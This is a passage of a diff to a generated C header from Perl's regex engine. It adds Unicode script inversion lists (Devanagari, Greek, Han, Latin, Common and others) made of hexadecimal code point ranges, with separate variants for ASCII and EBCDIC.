+	0x0,
+	0x400,
+	0x485,
+	0x487,
+	0x530,
+	0x1C80,
+	0x1C89,
+	0x1D2B,
+	0x1D2C,
+	0x1D78,
+	0x1D79,
+	0x2DE0,
+	0x2E00,
+	0xA640,
+	0xA6A0,
+	0xFE2E,
+	0xFE30
+};
+
+static const UV PL_SC__DEVA_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x900,
+	0x951,
+	0x953,
+	0x964,
+	0x966,
+	0x980,
+	0xA8E0,
+	0xA8FE
+};
+
+static const UV PL_SC__DUPL_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA0
+};
+
+static const UV PL_SC__GEOR_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E
+};
+
+static const UV PL_SC__GLAG_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B
+};
+
+static const UV PL_SC__GRAN_invlist[] = { /* for all charsets */
+	31,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375
+};
+
+static const UV PL_SC__GREK_invlist[] = { /* for all charsets */
+	73,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x370,
+	0x374,
+	0x375,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x384,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3E2,
+	0x3F0,
+	0x400,
+	0x1D26,
+	0x1D2B,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1DBF,
+	0x1DC0,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2126,
+	0x2127,
+	0xAB65,
+	0xAB66,
+	0x10140,
+	0x1018F,
+	0x101A0,
+	0x101A1,
+	0x1D200,
+	0x1D246
+};
+
+static const UV PL_SC__GUJR_invlist[] = { /* for all charsets */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00
+};
+
+static const UV PL_SC__GURU_invlist[] = { /* for all charsets */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76
+};
+
+static const UV PL_SC__HAN_invlist[] = { /* for all charsets */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3005,
+	0x3006,
+	0x3007,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3038,
+	0x303C,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
 	0x2FA1E
 };
 
-static const UV XPosixAlpha_invlist[] = { /* for EBCDIC 037 */
-	1311,	/* Number of elements */
+static const UV PL_SC__HANG_invlist[] = { /* for all charsets */
+	29,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x1100,
+	0x1200,
+	0x302E,
+	0x3030,
+	0x3131,
+	0x318F,
+	0x3200,
+	0x321F,
+	0x3260,
+	0x327F,
+	0xA960,
+	0xA97D,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD
+};
+
+static const UV PL_SC__HANO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1720,
+	0x1735
+};
+
+static const UV PL_SC__HIRA_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x1B001,
+	0x1B11F,
+	0x1F200,
+	0x1F201
+};
+
+static const UV PL_SC__JAVA_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA980,
+	0xA9CE,
+	0xA9D0,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0
+};
+
+static const UV PL_SC__KALI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA900,
+	0xA92E,
+	0xA92F,
+	0xA930
+};
+
+static const UV PL_SC__KANA_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30A1,
+	0x30FB,
+	0x30FD,
+	0x3100,
+	0x31F0,
+	0x3200,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3358,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0x1B000,
+	0x1B001
+};
+
+static const UV PL_SC__KHOJ_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F
+};
+
+static const UV PL_SC__KNDA_invlist[] = { /* for all charsets */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3
+};
+
+static const UV PL_SC__KTHI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11080,
+	0x110C2
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SC__LATN_invlist[] = { /* for ASCII/Latin1 */
+	63,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x1D00,
+	0x1D26,
+	0x1D2C,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1DBF,
+	0x1E00,
+	0x1F00,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C60,
+	0x2C80,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA800,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB65,
+	0xFB00,
+	0xFB07,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SC__LATN_invlist[] = { /* for EBCDIC 1047 */
+	89,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x42,
 	0x4A,
 	0x51,
@@ -86838,12 +345269,14 @@
 	0x9D,
 	0x9E,
 	0x9F,
-	0xA0,
-	0xA1,
 	0xA2,
 	0xAA,
 	0xAC,
+	0xAD,
+	0xAE,
 	0xAF,
+	0xBA,
+	0xBB,
 	0xC1,
 	0xCA,
 	0xCB,
@@ -86859,6 +345292,2163 @@
 	0xFB,
 	0xFF,
 	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x1D00,
+	0x1D26,
+	0x1D2C,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1DBF,
+	0x1E00,
+	0x1F00,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C60,
+	0x2C80,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA800,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB65,
+	0xFB00,
+	0xFB07,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SC__LATN_invlist[] = { /* for EBCDIC 037 */
+	85,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x1D00,
+	0x1D26,
+	0x1D2C,
+	0x1D5D,
+	0x1D62,
+	0x1D66,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1DBF,
+	0x1E00,
+	0x1F00,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C60,
+	0x2C80,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA800,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB65,
+	0xFB00,
+	0xFB07,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_SC__LIMB_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1950
+};
+
+static const UV PL_SC__LINA_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768
+};
+
+static const UV PL_SC__LINB_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB
+};
+
+static const UV PL_SC__MAHJ_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11150,
+	0x11177
+};
+
+static const UV PL_SC__MAND_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F
+};
+
+static const UV PL_SC__MANI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7
+};
+
+static const UV PL_SC__MLYM_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80
+};
+
+static const UV PL_SC__MODI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A
+};
+
+static const UV PL_SC__MONG_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1800,
+	0x1802,
+	0x1804,
+	0x1805,
+	0x1806,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x11660,
+	0x1166D
+};
+
+static const UV PL_SC__MULT_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA
+};
+
+static const UV PL_SC__MYMR_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1000,
+	0x10A0,
+	0xA9E0,
+	0xA9FF,
+	0xAA60,
+	0xAA80
+};
+
+static const UV PL_SC__ORYA_invlist[] = { /* for all charsets */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78
+};
+
+static const UV PL_SC__PERM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10350,
+	0x1037B
+};
+
+static const UV PL_SC__PHAG_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA840,
+	0xA878
+};
+
+static const UV PL_SC__PHLP_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10B80,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0
+};
+
+static const UV PL_SC__QAAI_invlist[] = { /* for all charsets */
+	55,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x370,
+	0x485,
+	0x487,
+	0x64B,
+	0x656,
+	0x670,
+	0x671,
+	0x951,
+	0x953,
+	0x1AB0,
+	0x1ABF,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200C,
+	0x200E,
+	0x20D0,
+	0x20F1,
+	0x302A,
+	0x302E,
+	0x3099,
+	0x309B,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE2E,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0xE0100,
+	0xE01F0
+};
+
+static const UV PL_SC__SHRD_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0
+};
+
+static const UV PL_SC__SIND_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA
+};
+
+static const UV PL_SC__SINH_invlist[] = { /* for all charsets */
+	27,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0x111E1,
+	0x111F5
+};
+
+static const UV PL_SC__SYLO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA800,
+	0xA82C
+};
+
+static const UV PL_SC__SYRC_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x700,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x750,
+	0x860,
+	0x86B
+};
+
+static const UV PL_SC__TAGB_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774
+};
+
+static const UV PL_SC__TAKR_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA
+};
+
+static const UV PL_SC__TALE_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975
+};
+
+static const UV PL_SC__TAML_invlist[] = { /* for all charsets */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB
+};
+
+static const UV PL_SC__TELU_invlist[] = { /* for all charsets */
+	27,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC80
+};
+
+static const UV PL_SC__TGLG_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715
+};
+
+static const UV PL_SC__THAA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x780,
+	0x7B2
+};
+
+static const UV PL_SC__TIRH_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA
+};
+
+static const UV PL_SC__YI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SC__ZYYY_invlist[] = { /* for ASCII/Latin1 */
+	328,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x2EA,
+	0x2EC,
+	0x300,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x589,
+	0x58A,
+	0x605,
+	0x606,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x640,
+	0x641,
+	0x6DD,
+	0x6DE,
+	0x8E2,
+	0x8E3,
+	0x964,
+	0x966,
+	0xE3F,
+	0xE40,
+	0xFD5,
+	0xFD9,
+	0x10FB,
+	0x10FC,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x1802,
+	0x1804,
+	0x1805,
+	0x1806,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x2000,
+	0x200C,
+	0x200E,
+	0x2065,
+	0x2066,
+	0x2071,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
